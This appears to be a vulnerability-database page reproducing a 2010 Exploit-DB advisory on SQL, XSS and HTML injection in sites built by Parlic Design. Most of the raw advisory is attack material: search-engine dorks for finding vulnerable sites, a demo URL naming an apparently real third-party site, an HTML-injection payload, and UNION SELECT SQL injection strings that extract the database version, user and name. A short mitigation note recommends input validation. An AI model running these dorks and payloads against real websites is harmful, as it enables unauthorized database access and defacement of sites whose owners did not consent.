parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities

vendor:

Parlic Design

by:

XroGuE

7,5

CVSS

HIGH

SQL/XSS/HTML Injection

89, 79, 80

CWE

Product Name: Parlic Design

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities

Parlic Design is vulnerable to multiple injection vulnerabilities. An attacker can inject malicious SQL/XSS/HTML code into the 'id' parameter of the vulnerable page. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code, to execute arbitrary HTML and script code in a user's browser session in context of an affected site, and to access or modify sensitive data.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. Sanitize all user input and escape special characters.

Source

Exploit-DB raw data:

=======================================================================
# parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities
=======================================================================

########################################################################
# Name: parlic Design (SQL/XSS/HTML) Multiple Vulnerabilities
# Vendor: http://www.parlic.com
# Date: 2010-05-27
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: intext:"Parlic Design" inurl:id
          intext:"design and developed by Parlic Design"
           

[+] Vulnerabilities:

          http://[target]/[path]/*.php?id=[SQL/XSS/HTML]


[+] XSS InjecTion Vulnerability:

[+] Demo: http://[site]/ser/parohija.php?id=
      http://www.cadebou-royalmer.com/strane/pas.php?id=

########################################################################

[+] HTML InjecTion Vulnerability:

[+] Demo: http://[site]/ser/parohija.php?id=<marquee><font color=red size=15>XroGuE</font></marquee>
          http://[site]/strane/pas.php?id=<marquee><font color=red size=15>XroGuE</font></marquee>

########################################################################

[+] SQL InjecTion Vulnerability:

[+] Demo: http://[site]/ser/parohija.php?id=-999+union+all select+1,2,3,4,5,version(),user()--
          http://[site]/strane/pas.php?id=-999+UNION+SELECT+1,2,version(),user(),5,database(),7,8,9,10,11,12,13,14,15,16

########################################################################